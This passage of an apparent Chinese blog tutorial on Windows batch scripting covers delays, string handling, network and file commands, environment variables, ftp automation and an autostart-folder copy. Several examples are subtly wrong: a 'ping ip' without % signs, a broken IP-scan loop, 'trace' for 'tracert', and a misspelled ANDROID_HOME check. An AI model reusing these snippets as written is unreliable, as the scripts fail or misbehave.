命令的优先级: 管道命令的优先级高于重定向命令,重定向命令的优先级高于组合命令变量延迟: 这种多条命令被视为一条命令行时,如果其中有变量,就涉及到变量延迟的问题。

# 把C盘和D盘的文件和文件夹列出到a.txt文件中

(dir c: & dir d:)>a.txt

# 或者简写

dir c:;d:>>a.txt

1.10.6 ,和;的区别

,:逗号相当于空格,在某些情况下“,”可以用来当做空格使;:当命令参数相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行。

# 逗号当空格用

dir,c:\

# 打印多个文件目录

dir c:;d:;e:\1.txt

1.10.7 % !变量延迟引用

在变量延迟问题中,用来表示变量,即%var%应该表示为!var!,具体请看前面的setlocal命令介绍。

1.10.8 数学运算符

加+,减-,乘*,除/,取模%%,这些运算符只有一种使用场景,就是在set /a命令的等号右边使用,即:set /a var=%num%*5。 需要注意的是涉及到组合命令或者for循环时,注意变量的更新问题,需要结合setlocal和变量延迟。

1.11 时间处理

1.11.1 date和time

date:显示和设置当前日期time:显示和设置当前时间

:: 从文件中读入命令输入,而不是从键盘中读入

@echo off

echo date>temp.txt

date

del temp.txt

1.11.2 时间延迟

1.11.2.1 利用ping命令

实测效果:每个任务ping3次,任务耗时均稳定在2秒多一点点

@echo off

:usePing

echo befor:%date%-%time%

REM /n 3表示ping 3次

REM >nul就是屏蔽掉ping命令所打印的内容

ping /n 3 127.0.0.1 >nul

echo after:%date%-%time%

echo click to resume next & pause>nul

goto usePing

1.11.2.2 利用for循环

实测效果:循环5000次耗时1s不到,不推荐

@echo off

echo 延时前:%time%

for /l %%i in (1,1,5000) do echo %%i>nul

echo 延时后:%time%

pause

1.11.2.3 利用vbs延迟函数

实测效果:精确度毫秒,误差1000毫秒内

@echo off

echo 延时前:%time%

call :delay 5000

echo 延时后:%time%

goto :eof

:delay

echo WScript.Sleep %1>delay.vbs

CScript //b delay.vbs

del delay.vbs

goto :eof

1.11.2.4 利用goto循环

使用效果:精确度10毫秒,误差50毫秒内

@echo off

echo 程序开始时间:%Time%

call :delay 10

echo 实际延迟时间:%totaltime%毫秒

echo 程序结束时间:%time%

pause

exit

::-----------以下为延时子程序--------------------

:delay

@echo off

if "%1"=="" goto :eof

set DelayTime=%1

set TotalTime=0

set NowTime=%time%

::读取起始时间,时间格式为:13:01:05.95

:delay_continue

set /a minute1=1%NowTime:~3,2%-100

set /a second1=1%NowTime:~-5,2%%NowTime:~-2%0-100000

set NowTime=%time%

set /a minute2=1%NowTime:~3,2%-100

set /a second2=1%NowTime:~-5,2%%NowTime:~-2%0-100000

set /a TotalTime+=(%minute2%-%minute1%+60)%%60*60000+%second2%-%second1%

if %TotalTime% lss %DelayTime% goto delay_continue

goto :eof

1.11.2.5 利用timeout函数

格式:TIMEOUT [/T] timeout [/NOBREAK]

:: 延时5s,并禁用失败信息

timeout /t 5 /nobreak 2>nul

1.11.3 一个定时任务模版

设计思路:使用goto实现循环逻辑,使用一种时间延迟方案实现轮询时间间隔

@echo off

set MAX_LOOP_COUNT=5

set SLEEP=1000

set loop_count=0

:loop

echo loop%loop_count% start at: %time%

call :task

call :delay %SLEEP% %loop_count%

echo loop%loop_count% end at: %time%

set /a loop_count+=1

if /i %loop_count% gtr %MAX_LOOP_COUNT% (

goto :eof

) else (

goto loop

)

:delay

if not exist temp.vbs echo wscript.sleep %1>temp.vbs

cscript //B temp.vbs

if "%2"=="%MAX_LOOP_COUNT%" del temp.vbs

goto :eof

:task

rem 这里是实际耗时任务

echo 模拟耗时任务

goto :eof

1.11.4 系统定制任务

使用GUI设置界面,这里不做详细介绍,参考:windows中怎么添加定时任务

1.12 字符串处理

1.12.1 中文乱码

cmd的默认字符编码为ANSI且不可更改,而一般文本编辑器默认的字符编码是UTF-8,因此中文乱码很常见,解决办法是切换bat脚本的字符编码格式为ANSI或GB2312即可

1.12.2 字符串截取

使用格式:%str:~start,count%

示例:

@echo off

set str=hello world

echo 原字符串为:%str%

echo 截取前5个字符:%str:~0,5%

echo 截取最后5个字符:%str:~-5%

echo 截取第一个到倒数第6个字符:%str:~-1,-5%

echo 从第4个字符开始截取5个字符:%str:~3,5%

echo 从倒数第6个字符开始截取5个字符:%str:~-6,5%

1.12.3 字符串局部替换

使用格式:%str:old=new%

示例:

@echo off

set str=hello world

echo 替换前:%str%

echo 替换后:%str:world=bat%

echo str=%str%

echo %str%

set str=%str:world=bat%

echo str=%str%

1.12.3 字符串拼接

使用格式:%str1%%str2%

示例:

@echo off

set str1=hello

set str2=world

set str1=%str1%%str2%

echo str1=%str1% str2=%str2%

pause

1.13 网络管理

1.13.1 ping网络嗅探

使用格式:ping [options] host

示例:基本用法

rem 嗅探一个域名,/n 3表示指定嗅探次数为3次

ping /n 3 www.baidu.com

rem 嗅探一个IP(不支持端口,加端口可以使用telnet)

ping 10.10.80.110

示例:嗅探一个未被占用的局域网IP

@echo off

set /p seg1=请输入网段的前三位数字以 . 结尾,比如10.10.80.:

set /a seg2=1

:start

set ip=%seg1%%seg2%

echo try ip = %ip%

ping ip -w 1 -n 1|find /i "Lost = 1"&&set c=1||set c=0

if not %c%==0 set seg2+=1 & if seg2==255 goto fail else goto start

echo 可用的IP为:%ip% & pause>nul

goto :eof

:fail

echo 无可用IP

pause

1.13.2 netstat网络查看

命令行查看端口占用并关闭进程

# 查找8080端口使用情况,此命令会列出相关进程信息,然后结合taskkill即可

netstat -aon|findstr "8080"

1.13.3 tracert路由跟踪

Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout]

[-R] [-S srcaddr] [-4] [-6] target_name

Options:

-d 不处理主机名.

-h maximum_hops Maximum number of hops to search for target.

-j host-list Loose source route along host-list (IPv4-only).

-w timeout 每个ICMP包的等待超时时间.

-R Trace round-trip path (IPv6-only).

-S srcaddr Source address to use (IPv6-only).

-4 强制IPv4.

-6 强制IPv6.

-target_name 目标IP或者域名

示例:

# 跟踪百度路由信息

trace -d www.baidu.com

# 根据指定IP

trace -d 192.168.1.100

1.14 其他命令

1.14.1 cls清空屏幕

1.14.2 random随机数

%RANDOM% 系统变量 返回 0 到 32767 (215-1)之间的任意十进制数字。由 Cmd.exe 生成。

示例:获取4-12范围的随机数

@REM 产生10个[4,12]间的随机数

@echo off

REM 启用延迟环境变量扩展

setlocal enabledelayedexpansion

REM 设置随机数的最小和最大值以及求模用的变量

set min=4

set max=12

set /a mod=!max!-!min!+1

for /l %%i in (1,1,10) do (

REM 产生[min,max]之间的随机数

set /a r=!random!%%!mod!+!min!

echo.

echo 随机数%%i:!r!)

示例:生成给定位数的随机密码

@echo off

call :randomPassword 6 pass1 pass2 pass3

echo %pass1% %pass2% %pass3%

pause

exit

:randomPassword

::---------生成随机密码

::---------%1为密码长度,%2及以后为返回变量名称

::---------goto循环、变量嵌套、命令嵌套

@echo off

if "%1"=="" goto :eof

if %1 lss 1 goto :eof

set password_len=%1

set return=

set wordset=abcdefghijklmnopqrstuvwxyz023456789_

::---------------------------循环

:randomPassword1

set /a numof=%random%%%36 ::---生成0-35之间的随即数

call set return=%return%%%wordset:~%numof%,1%% ::---在wordset变量中,从的随即生成的0-35的下一个取出一个字符

set /a password_len-=1

if %password_len% gtr 0 goto randomPassword1

::---------------------------循环

if not "%2"=="" set %2=%return%

shift /2

if not "%2"=="" goto randomPassword

goto :eof

1.14.3 type显示文本文件内容

格式:TYPE [drive:][path]filename

type 1.txt

1.14.4 where搜索文件所在的目录

格式:WHERE [/R dir] [/Q] [/F] [/T] pattern…,其中pattern为正则表达式

示例一:查看程序所在目录

:: 显示git所在的路径

where git

执行结果:C:\Program Files\Git\cmd\git.exe

示例二:文件查找

::查找c:\windows路径下所有dll文件(不含子目录)

where c:\windows:*.dll

::查找环境变量windir目录下所有含.号的文件

where $windir:*.*

::查找c:\windows及其子目录下所有dll和exe文件

where /r c:\windows *.dll *.exe

1.14.5 tasklist&taskkill进程管理

tasklist|findstr pname

# 指定进程名称

taskkill /f /im pname

# 指定进程ID(可指定多个)

taskkill /f /pid 2152 /pid 1284

2. 文件操作

2.1 文件(夹)创建

文件创建:echo

:: 使用echo创建文件

echo>test.txt

文件夹创建:md

:: 使用md创建temp和目录

md temp

md d:\myfolder

rem 使用mkdir创建任意路径的目录

2.2 文件(夹)删除

文件删除:del [/q /a /f /s] filename

#删除指定文件,不能是隐藏、系统、只读文件

del d:\test.txt

rem 删除 d:\temp 文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录

del /q /a /f d:\temp\*.*

文件夹删除:rd [/s /q] dirname

/s:删除文件夹下所有内容/q:不需要确认,直接删

@echo off

del /q/a/f d:"temp"*.*

2.3 文件(夹)重命名

2.4 文件拷贝和移动

文件拷贝:

格式:copy src dst

:: 文件复制:复制当前脚本内容到指定文件

copy %0 d:\wind.bat

格式:xcopy src dst /s /e /i /y

xcopy d:\mp3 e:\mp3 /s/e/i/y

文件移动:注意move不能跨盘符分区

move d:\test.txt c:\test.txt

2.5 文件(夹)查找

2.5.1 dir打印指定目录下的文件列表

:: 打印当前目录的文件列表

dir

:: 打印C盘文件列表,如果当前在c盘子目录中,则会打印本级目录的文件列表

dir c:

:: 查找c盘根目录下,文件名含“txt”的文件

dir c:|find "txt"

2.5.2 tree以树状结构打印指定目录下的文件列表

TREE [drive:][path] [/F] [/A]

/F 显示每个文件夹中文件的名称。 /A 使用 ASCII 字符,而不使用扩展字符。

示例:

tree c:\>c盘所有文件.txt

2.5 文件内容查找

2.5.1 find

在文件中搜索字符串。格式:FIND [/V] [/C] [/N] [/I] [/OFF[LINE]] “string” [[drive:][path]filename[ …]]

/V 显示所有未包含指定字符串的行。/C 仅显示包含字符串的行数。/N 显示行号。/I 搜索字符串时忽略大小写。/OFF[LINE] 不要跳过具有脱机属性集的文件。“string” 指定要搜索的文字串,[drive:][path]filename,指定要搜索的文件。如果没有指定路径,FIND 将搜索键入的或者由另一命令产生的文字。

Find常和type命令结合使用:

挑选包含string的行:Type [drive:][path]filename | find “string” [>tmpfile]剔除文件中包含string的行:Type [drive:][path]filename | find /v “string”显示文件行数:Type [drive:][path]filename | find /c

@echo off

:: 示例1:直接使用find命令

echo 111 >test.txt

echo 222 >>test.txt

find "111" test.txt

del test.txt

pause

:: 示例2:结合type命令,显示效果更友好

echo 111 >test.txt

echo 222 >>test.txt

type test.txt|find "111"

del test.txt

pause

2.6 文件目录切换

cd: cd path 进入当前路径的子目录 cd /d “[drive:][path]” 进入任何指定目录 cd … 进入上级目录

pushd:保存当前目录,并进入指定目录 popd:回到前一个保存的目录

示例:

@echo off

c: & cd\ & md mp3 #切换到c盘并在 C:\ 建立 mp3 文件夹

md d:\mp4 #在 D:\ 建立 mp4 文件夹

cd /d d:\mp4 #更改当前目录为 d:\mp4

pushd c:\mp3 #保存当前目录,并切换当前目录为 c:\mp3

popd #恢复当前目录为刚才保存的 d:\mp4

3. 界面相关

3.1 title修改命令行窗口标题

格式:title 文本。

示例:

:: 命令行标题将显示为“自定义标题”

title 自定义标题

3.2 color修改命令行背景色、前景色

格式:color af。第一个数字表示背景色,第二个数字表示前景色。

示例:

:: 蓝底白字

color 9f

数字颜色0黑色1蓝色2绿色3湖蓝色4红色5紫色6黄色7白色8灰色9淡蓝色A淡绿色B淡浅绿色C淡红色D淡紫色E淡黄色F亮白色

3.3 修改命令行宽高

3.4 设计一个用户菜单界面

@echo off

cls

title 终极多功能修复

:menu

cls

color 0A

echo.

echo ==============================

echo 请选择要进行的操作,然后按回车

echo ==============================

echo.

echo 1.网络修复及上网相关设置,修复IE,自定义屏蔽网站

echo.

echo 2.病毒专杀工具,端口关闭工具,关闭自动播放

echo.

echo 3.清除所有多余的自启动项目,修复系统错误

echo.

echo 4.清理系统垃圾,提高启动速度

echo.

echo Q.退出

echo.

echo.

:cho

set choice=

set /p choice= 请选择:

IF NOT "%choice%"=="" SET choice=%choice:~0,1%

if /i "%choice%"=="1" goto show

if /i "%choice%"=="2" goto show

if /i "%choice%"=="3" goto show

if /i "%choice%"=="4" goto show

if /i "%choice%"=="Q" goto endd

echo 选择无效,请重新输入

echo.

goto cho

:show

echo u choose %choice%

goto cho

:endd

3.5 实现进度条

@echo off

mode con cols=113 lines=15 &color 9f

cls

echo.

echo 程序正在初始化. . .

echo.

echo ┌──────────────────────────────────────┐

set/p= ■

for /L %%i in (1 1 38) do set /p a=■nul

echo 100%%

echo └──────────────────────────────────────┘

pause

4. 变量

4.1 系统变量

这些变量系统已经给他们定义了值(包括环境变量),不需要我们来给他赋值,我们只需要调用而以。

%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。%CD% 本地 返回当前目录字符串。%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。%COMPUTERNAME% 系统 返回计算机的名称。%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关date 命令的详细信息,请参阅 Date。%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。%PATH% 系统 指定可执行文件的搜索路径。%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64 基于Itanium%PROCESSOR_IDENTFIER% 系统 返回处理器说明。%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。%PROCESSOR_REVISION% 系统 返回处理器的版本号。%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关time 命令的详细信息,请参阅 Time。%USERDOMAIN% 本地 返回包含用户帐户的域的名称。%USERNAME% 本地 返回当前登录的用户的名称。%USERPROFILE% 本地 返回当前用户的配置文件的位置。%WINDIR% 系统 返回操作系统目录的位置。

示例:复制文件到当前帐号的启动目录

# 注意有空格的目录要用引号引起来

copy d:\1.bat "%USERPROFILE%\「开始」菜单\程序\启动\"

示例:检查是否配置了ANDROID_HOME环境变量 方式一:判断对应值是否为空字符串

@echo off

if "%ADNROID_HOM%"=="" echo android home not exist

pause

方式二:直接使用define指令

@echo off

if defined ANDROID_HOME echo android home has defined

pause

示例:获取当前目录路径

echo %cd%

4.2 环境变量

查看所有环境变量

:: 命令行中打印所有环境变量

set

:: 输出环境变量到文件

set > temp.txt

查看某个环境变量

:: 查看JAVA_HOME变量值

set JAVA_HOME

设置环境变量

:: 设置一个名为NEW_VAR的环境变量

set NEW_VAR=G:\TEMP

清除某个环境变量

:: 清除NEW_VAR这个变量

set NEW_VAR=

4.3 批处理入参变量

%0 批处理文件本身,包括完整的路径和扩展名,可以调用批处理自身,以达到批处理本身循环的目的,也可以复制文件自身等等%1 第一个参数%9 第九个参数%* 从第一个参数开始的所有参数

这些%1和%9可以让批处理也能带参数运行,大大提高批处理功能!

# 再命令行依次输入下述命令

echo ^@echo off>temp.bat

echo echo var1 = %1 var2 = %2 var3 = %3>>temp.bat

temp.bat 我是a 我是b 我是c

del temp.bat

4.4 自定义变量

不需要预定义,直接set创建变量并赋值

基本格式: set var=string 定义一个字符串变量,string内容可以不输入 set /a var=number calculation 执行数学计算 set /p var=hint: 提示用户输入,var也是一个字符串

注意:在使用set为变量赋值时,=的左右不要有空格 示例:最简单的使用方式

@echo off

set var=我是值

echo %var%

pause

示例:数值由用户键盘输入

@echo off

# var=,=号前后不要有空格

set /p var=please input any thing and end with enter:

echo your input is %var%

pause

4.5 设置网络代理

设置后只对当前 cmd 窗口上下文有效。

# 代理无用户名密码

set http_proxy=http://127.0.0.1:1080

set https_proxy=http://127.0.0.1:1080

# 具有用户名密码

set HTTP_PROXY=http://proxy.com:port

set HTTP_PROXY_USER=username

set HTTP_PROXY_PASS=password

set HTTPS_PROXY=http://proxy.com:port

set HTTPS_PROXY_USER=username

set HTTPS_PROXY_PASS=password

# 取消网络代理

netsh winhttp reset proxy

此处参考:windows终端命令行下使用网络代理

5. 调用三方应用程序

5.1 调用ftp

ftp是常用的下载工具,ftp界面中有40多个常用命令,自己学习了,不介绍了。这里介绍如何用dos命令行调用ftp命令,实现ftp自动登录,并上传下载,并自动退出ftp程序。可以将ftp命令组合保存为一个文本文件,然后用以下命令调用即可。

ftp -n -s:[[drive:]path]filename,filename为ftp命令文件

命令脚本文件示例:登录IP地址,用户名、密码、操作命令

open 90.52.8.3 #打开ip

user iware #用户为iware

password8848 #密码

bin #二进制传输模式

prompt

cd tmp1 #切换至iware用户下的tmp1目录

pwd

lcd d:\download #本地目录

mget * #下载tmp1目录下的所有文件

bye #退出ftp

5.2 调用7-zip

语法格式:7z [

…] […]

详细情况见7-zip帮助文件

5.3 调用VBScript程序

使用 Windows 脚本宿主,可以在命令提示符下运行脚本。CScript.exe 提供了用于设置脚本属性的命令行开关。

使用格式:CScript 脚本名称 [脚本选项…] [脚本参数…]

脚本名称: 带有扩展名和必需的路径信息的脚本文件名称,如d:/admin/vbscripts/chart.vbs。脚本选项:

//B 批模式:不显示脚本错误及提示信息//D 启用 Active Debugging//E:engine 使用执行脚本的引擎//H:CScript 将默认的脚本宿主改为 CScript.exe//H:WScript 将默认的脚本宿主改为 WScript.exe (默认)//I 交互模式(默认,与 B 相对)//Job:xxxx 执行一个 WSF 工作//Logo 显示徽标(默认)//Nologo 不显示徽标:执行时不显示标志//S 为该用户保存当前命令行选项//T:nn 超时设定秒:允许脚本运行的最长时间//X 在调试器中执行脚本//U 用 Unicode 表示来自控制台的重定向 I/O

5.4 调用jar包

命令格式:java -jar xxx.jar [command]

5.5 调用exe程序

命令格式:xxx.exe [command]

6. 转换为可执行文件

由于批处理文件是一种文本文件,任何人都可以对其进行随便编辑,不小心就会把里面的命令破坏掉,所以如果将其转换成可执行文件,不仅执行效率会大大提高,而且不会破坏原来的功能,更能将优先级提到最高。 在DOS环境下,可执行文件的优先级由高到低依次为.com>.exe>.bat>.cmd,即如果在同一目录下存在文件名相同 的这四类文件,当只键入文件名时,DOS执行的是name.com,如果需要执行其他三个文件,则必须指定文件的全名,如name.bat。

6.1 转换成.com文件

工具推荐:Bat2Com

6.2 转换成.exe文件

工具推荐:Bat To Exe Converter、bat2exe等

7. 参考资料

BAT 批处理脚本教程(详细篇脚本之家补充)_DOS/BAT_脚本之家BAT脚本编写教程(比较易懂和全面)_DOS/BAT_脚本之家

优惠劵

csfchh

关注

关注

67

点赞

312

收藏

觉得还不错?

一键收藏

知道了

2

评论

bat脚本:快速入门

主要介绍windows bat脚本的基础语法以及一些常用功能的实现,通过这些基础操作的组合可以编写出强大的脚本工具。1. 常用命令介绍2. 文件操作2.1 文件(夹)创建2.2 文件(夹)删除2.3 文件(夹)重命名3. 键盘输入3.1 获取键盘输入内容4. 界面相关4.1 修改命令行背景色...

复制链接

扫一扫

专栏目录

献给Redis入门的同学

08-08

redis官方window包+自写启动脚本+redis desktop manager 工具,献给Redis入门的同学。启动方便,自己用的。启动Redis 运行 runServer.bat ,即可启动,redis desktop manager 查看,也可以运行 runClient.bat 进行命令行交互

BAT编程简明教程.rar_BAT编程简明教程_bat脚本

09-21

Windows下详细 BAT脚本教程,适用于脚本入门者。

2 条评论

您还未登录,请先

登录

后发表或查看评论

bat脚本语法与实战

最新发布

Android系统优化

05-24

6392

bat脚本就是将一系列DOS命令按照一定顺序排列而形成的集合,运行在windows命令行环境上。通过本文的学习,基本可以实现一些简单的脚本。

BAT 批处理脚本教程(详细篇脚本之家补充)

09-19

主要介绍了BAT 批处理脚本教程详细篇,并且脚本之家给了补充,想学习bat的朋友可以参考下

超详细的bat脚本常用命令及亲测示例

WZH577的博客

09-04

3万+

注意:编辑bat文件请使用ANSI编码(不然会出现中文乱码)

1、语句注释

rem命令行注释,可以回显(语句会在命令行中显示);

::两个冒号,效果同上,但不会回显。(冒号后加任意非字母数字字符都可起到注释作用)

2、暂停

pause暂停,命令行中出现"请按任意键继续..."

自定义暂停时的文本,如下:

::pause>nul,隐藏原暂停文本

echo 这里是自定义文本! &...

小程序商城v2.4.0.3更新包【独立版】.zip

03-30

小程序源码

-web

-views

-version.json

-vendor

-modules

-models

-helpers.php

-hejiang

-extensions

-controllers

-config

-composer.lock

-composer.json

-commands

-behaviors

导入的数据库.sql

前端

-wxParse

-utils.js

-utils

-siteinfo.js

-pages

-mch

-images

-commons

-area-picker

-app.wxss

-app.json

-app.js

-api.tpl.js

-api.js

bat批处理脚本大全

feinifi的博客

11-27

2万+

常见批处理脚本知识点整合。echo for set goto eof call

超详细 批处理文件脚本(bat) 教程(持续更新)

qq_15855921的博客

09-22

2万+

bat批处理脚本是一门比较冷门的脚本语言,适用于windows。在实际的项目开发中,在windows系统中的开发语言不少是需要搭建很复杂的环境或编写好的程序需要编译成相应可执行文件才能使用,因此偶尔会希望有个语言不需要编译且容易获得——bat批处理脚本就是这样一门windows脚本语言。

bat入门

weixin_67782151的博客

06-02

6342

cmd/bat入门

BAT脚本编写教程(比较易懂和全面)

热门推荐

木牛的博客

09-08

5万+

作者不详。敬意!

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。

p...

BAT批处理脚本教程

04-04

很好的有关BAT批处理脚本的教程,适合初学者入门。

dos脚本编程例子

11-27

里面是几个dos脚本的小例子,非常简单,入门用

批处理标准教程(bat入门到精通)

04-14

批处理标准教程(bat入门到精通)。

批处理(Batch),也称为批处理脚本,具有.bat 或者.cmd 的扩展名。顾名思义,批处理就是对某对象进行批量的处理,属于脚本语言的一种。

bat命令入门与高级技巧详解.doc

10-05

批处理文件,在DOS和Windows(任意)系统中,.bat文件是可执行文件,由一系列命令构成,其中可以包含对其他程序的调用。这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理,通常被认为是一种简化的脚本语言,它应用于DOS和Windows系统中。批处理文件的扩展名为bat 或cmd。目前比较常见的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。更复杂的情况,需要使用if、for、goto等命令控制程式的运行过程,如同C、Basic等高级语言一样。如果需要实现更复杂的应用,利用外部程式是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理程序虽然是在命令行环境中运行,但不仅仅能使用命令行软件,任何当前系统下可运行的程序都可以放在批处理文件中运行。

Windows中编写脚本BAT批处理命令入门.pdf

03-19

Windows中编写脚本BAT批处理命令入门.pdf

bat 脚本的基本语法和例子

05-29

bat 脚本的 基本 语法,和 一些 简单的 应用、。

PowerShell脚本:快速入门

csfchh的博客

04-07

5569

batch脚本在面对xml读写、字符串处理等需求时常常捉襟见肘,无法满足我们的需求,因此掌握powershell显得非常必要。

0. 基本指令

0.1 获取帮助

这里有三个命令可以帮助你了解命令作用及其用法。

get-command:列出所有可用命令

get-help command [-full]:获取指定命令帮助信息,加full获取详细帮助

command -?:获取指定命令的简要介绍,相当于get-help command

注意:

powershell与batch一样不区分大小写

变量采用小驼

bat脚本案例:实现炫酷的文字logo

csfchh的博客

03-26

1677

需求

我们在日常运行第三方的脚本的时候经常看到非常炫酷的启动logo,比如下图:

不仅美观,而且可以展示品牌和团队标志,提高曝光度。下面详细介绍一下如何用纯batch脚本实现上述效果,如果有更好的实现方案也可以在评论区中支出。

知识点

如何获取logo图片字符串;

如何将含有转义字符的字符串打印到控制台;

batch实现字符串base64编解码;

具体实现

首先解决第一个问题:logo字符串的获取。像上述字符串其实是文字logo衍生而来的,查阅相关资料,得知一个网站http://patorjk.com

bat脚本文件中如何执行bat脚本

05-10

要在 Windows 操作系统中执行 BAT 脚本文件,可以按照以下步骤操作:

1. 打开命令提示符:按下 `Win` + `R` 组合键,输入 `cmd` 并按下 `Enter` 键。

2. 切换到存储 BAT 脚本文件的目录:使用 `cd` 命令切换到存储 BAT 脚本文件的目录。例如,如果 BAT 文件存储在 `D:\Scripts` 目录中,可以使用以下命令切换到该目录:

```

cd /d D:\Scripts

```

3. 执行 BAT 脚本:在命令提示符中输入 BAT 文件名并按下 `Enter` 键即可执行 BAT 脚本。例如,如果 BAT 文件名为 `myscript.bat`,可以使用以下命令执行 BAT 脚本:

```

myscript.bat

```

注意:确保在 BAT 脚本文件中没有错误,并且在执行前已经保存。如果 BAT 脚本包含其他命令或程序,还需要确保这些命令或程序已经安装并配置正确。

“相关推荐”对你有帮助么?

非常没帮助

没帮助

一般

有帮助

非常有帮助

提交

csfchh

CSDN认证博客专家

CSDN认证企业博客

码龄8年

暂无认证

71

原创

3万+

周排名

2万+

总排名

19万+

访问

等级

892

积分

63

粉丝

145

获赞

18

评论

771

收藏

私信

关注

热门文章

Git patch的使用方法和场景

37918

bat脚本:快速入门

30903

Idea插件开发教程

20384

SVN patch的使用方法及场景

9968

PowerShell脚本:快速入门

5567

分类专栏

android

26篇

flutter

12篇

Gradle

4篇

Scripts

15篇

Java/Kotlin/Groovy/Scala

2篇

JavaScript/TypeScript

VCS

6篇

CI/CD

3篇

IDE

6篇

dart

python

C/C++

2篇

BackEnd

2篇

ForeEnd

Coding/Testing

1篇

NDK

6篇

CloudNative

1篇

Algorithm

1篇

Tools

5篇

最新评论

【NDK系列】给移动开发者的JNI快速入门

CSDN-Ada助手:

Python 中支持哪些开发框架?

bat脚本:快速入门

usnrengui:

txt文本每行增加前缀的方法,注意|前加^转义符

@echo off

(for /F "tokens=*" %%a in (orginal.txt) do echo prefix ^|p2%%a)>updaded.txt

bat脚本:快速入门

*Asterisk*:

试了下1.3.1.4不行诶,得call echo %%word:~%num:~2,1%,1%%

Android原生图表库调研

h309849232:

有云词,矩形树图的。。。找了好久没找到

SVN patch的使用方法及场景

csfchh:

就是你的本地文件,对应git的工作区,都是一个意思

自荐文章

day16_购物车(添加购物车,购物车列表查询,删除购物车商品,更新选中商品状态,完成购物车商品的全选,清空购物车)

cout之<< ++运算符重载调用顺序

141

视频去水印神器 万能解析(拿来去小红书水印超棒)

【学习笔记】计算机视觉深度学习网络模型

211

在线租房(JSP+java+springmvc+mysql+MyBatis)

328

最新文章

【NDK系列】使用ndk-build构建可在Android设备运行的ELF可执行文件

【NDK系列】Android tombstone文件分析

PlantUML基础使用教程

2024年2篇

2023年4篇

2022年17篇

2021年42篇

2020年6篇

目录

目录

分类专栏

android

26篇

flutter

12篇

Gradle

4篇

Scripts

15篇

Java/Kotlin/Groovy/Scala

2篇

JavaScript/TypeScript

VCS

6篇

CI/CD

3篇

IDE

6篇

dart

python

C/C++

2篇

BackEnd

2篇

ForeEnd

Coding/Testing

1篇

NDK

6篇

CloudNative

1篇

Algorithm

1篇

Tools

5篇

目录

评论 2

被折叠的  条评论

为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

祝福语

请填写红包祝福语或标题

红包数量

红包个数最小为10个

红包总金额

红包金额最低5元

余额支付

当前余额3.43元

前往充值 >

需支付:10.00元

取消

确定

下一步

知道了

成就一亿技术人!

领取后你会自动成为博主和红包主的粉丝

规则

hope_wisdom 发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额

0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。 2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值

bat(批处理文件类型)_百度百科

